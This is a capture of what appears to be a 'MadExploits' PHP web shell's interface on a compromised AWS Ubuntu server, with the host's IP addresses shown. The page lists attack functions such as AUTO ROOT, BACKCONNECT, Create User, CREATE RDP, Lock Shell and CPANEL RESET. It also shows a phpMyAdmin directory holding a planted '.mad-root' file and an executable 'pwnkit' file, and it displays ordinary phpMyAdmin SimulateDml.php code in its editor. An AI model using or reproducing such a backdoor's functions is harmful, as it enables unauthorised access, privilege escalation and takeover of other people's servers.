Linux ip-172-31-33-47 5.4.0-1045-aws #47~18.04.1-Ubuntu SMP Tue Apr 13 15:58:14 UTC 2021 x86_64
Apache/2.4.29 (Ubuntu)
: 172.31.33.47 | : 18.119.126.168
Cant Read [ /etc/named.conf ]
7.4.20
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
stage /
phpmyadmin /
src /
Import /
[ HOME SHELL ]
Name
Size
Permission
Action
.mad-root
0
B
-rw-r--r--
Ajax.php
2.8
KB
-rw-r--r--
AnalysedColumn.php
262
B
-rw-r--r--
ColumnType.php
184
B
-rw-r--r--
DecimalSize.php
760
B
-rw-r--r--
Import.php
41.5
KB
-rw-r--r--
ImportSettings.php
1.12
KB
-rw-r--r--
ImportTable.php
336
B
-rw-r--r--
SimulateDml.php
4.85
KB
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : SimulateDml.php
<?php declare(strict_types=1); namespace PhpMyAdmin\Import; use PhpMyAdmin\Core; use PhpMyAdmin\Current; use PhpMyAdmin\DatabaseInterface; use PhpMyAdmin\Html; use PhpMyAdmin\SqlParser\Parser; use PhpMyAdmin\SqlParser\Statements\DeleteStatement; use PhpMyAdmin\SqlParser\Statements\UpdateStatement; use PhpMyAdmin\SqlParser\Utils\Query; use PhpMyAdmin\Url; use PhpMyAdmin\Util; use Webmozart\Assert\Assert; use function array_key_exists; use function array_reverse; use function implode; final class SimulateDml { public function __construct(private DatabaseInterface $dbi) { } public function getError(): string { return $this->dbi->getError(); } /** * Find the matching rows for UPDATE/DELETE query. * * @return array<string, int|string> * @psalm-return array{ * sql_query: string, * matched_rows: int, * matched_rows_url: string * } */ public function getMatchedRows( string $query, Parser $parser, DeleteStatement|UpdateStatement $statement, ): array { if ($statement instanceof DeleteStatement) { $matchedRowsQuery = $this->getSimulatedDeleteQuery($parser, $statement); } else { $matchedRowsQuery = $this->getSimulatedUpdateQuery($parser, $statement); } // Execute the query and get the number of matched rows. $matchedRows = $this->executeMatchedRowQuery($matchedRowsQuery); $matchedRowsUrl = Url::getFromRoute('/sql', [ 'db' => Current::$database, 'sql_query' => $matchedRowsQuery, 'sql_signature' => Core::signSqlQuery($matchedRowsQuery), ]); return [ 'sql_query' => Html\Generator::formatSql($query), 'matched_rows' => $matchedRows, 'matched_rows_url' => $matchedRowsUrl, ]; } /** * Executes the matched_row_query and returns the resultant row count. * * @param string $matchedRowQuery SQL query */ private function executeMatchedRowQuery(string $matchedRowQuery): int { $this->dbi->selectDb(Current::$database); $result = $this->dbi->tryQuery($matchedRowQuery); if ($result === false) { return 0; } return (int) $result->numRows(); } /** * Transforms a DELETE query into SELECT statement. * * @return string SQL query */ private function getSimulatedDeleteQuery(Parser $parser, DeleteStatement $statement): string { $tableReferences = Query::getTables($statement); Assert::count($tableReferences, 1, 'No joins allowed in simulation query'); Assert::notNull($parser->list, 'Parser list not set'); $condition = Query::getClause($statement, $parser->list, 'WHERE'); $where = $condition === '' ? '' : ' WHERE ' . $condition; $order = $statement->order === null || $statement->order === [] ? '' : ' ORDER BY ' . Query::getClause($statement, $parser->list, 'ORDER BY'); $limit = $statement->limit === null ? '' : ' LIMIT ' . Query::getClause($statement, $parser->list, 'LIMIT'); return 'SELECT * FROM ' . $tableReferences[0] . $where . $order . $limit; } /** * Transforms a UPDATE query into SELECT statement. * * @return string SQL query */ private function getSimulatedUpdateQuery(Parser $parser, UpdateStatement $statement): string { $tableReferences = Query::getTables($statement); Assert::count($tableReferences, 1, 'No joins allowed in simulation query'); Assert::isNonEmptyList($statement->set, 'SET statements missing'); Assert::notNull($parser->list, 'Parser list not set'); $values = []; $newColumns = []; $oldColumns = []; foreach (array_reverse($statement->set) as $set) { $column = Util::unQuote($set->column); if (array_key_exists($column, $values)) { continue; } $oldColumns[] = Util::backquote($column); $values[$column] = $set->value . ' AS ' . ($newColumns[] = Util::backquote($column . ' `new`')); } $condition = Query::getClause($statement, $parser->list, 'WHERE'); $where = $condition === '' ? '' : ' WHERE ' . $condition; $order = $statement->order === null || $statement->order === [] ? '' : ' ORDER BY ' . Query::getClause($statement, $parser->list, 'ORDER BY'); $limit = $statement->limit === null ? '' : ' LIMIT ' . Query::getClause($statement, $parser->list, 'LIMIT'); return 'SELECT *' . ' FROM (' . 'SELECT *, ' . implode(', ', $values) . ' FROM ' . $tableReferences[0] . $where . $order . $limit . ') AS `pma_tmp`' . ' WHERE NOT (' . implode(', ', $oldColumns) . ') <=> (' . implode(', ', $newColumns) . ')'; } }
Close